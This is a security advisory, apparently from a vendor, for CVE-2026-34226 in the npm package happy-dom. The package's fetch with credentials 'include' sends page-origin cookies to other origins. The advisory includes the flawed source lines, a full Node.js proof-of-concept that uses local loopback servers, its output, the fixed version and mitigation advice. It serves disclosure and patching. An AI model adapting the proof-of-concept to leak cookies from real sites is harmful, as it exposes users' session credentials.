CVE-2026-34226 is a high-severity (CVSS 7.5) CWE-201 vulnerability in happy-dom. A fix is available for happy-dom — see the affected versions and patch details below.
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34226.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-34226 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
happy-domnpmDescription
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
- Node.js >= 22
happy-dom20.6.1- DNS names resolving to local loopback via
*.127.0.0.1.nip.io
Reproduction steps:
- Set page host cookie:
page_cookie=PAGE_ONLYona.127.0.0.1.nip.io - Set target host cookie:
api_cookie=API_ONLYonb.127.0.0.1.nip.io - From page host, call fetch to target host with
credentials: "include" - Observe
Cookieheader received by the target host
Expected:
- Include
api_cookie=API_ONLY - Do not include
page_cookie=PAGE_ONLY
Actual (observed):
- Includes
page_cookie=PAGE_ONLY - Does not include
api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.
Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | happy-dom | all versions | 20.8.9npm install happy-dom@20.8.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update happy-dom to 20.8.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34226 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34226 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-34226. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-34226 in your dependencies?
O3 Security finds CVE-2026-34226 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.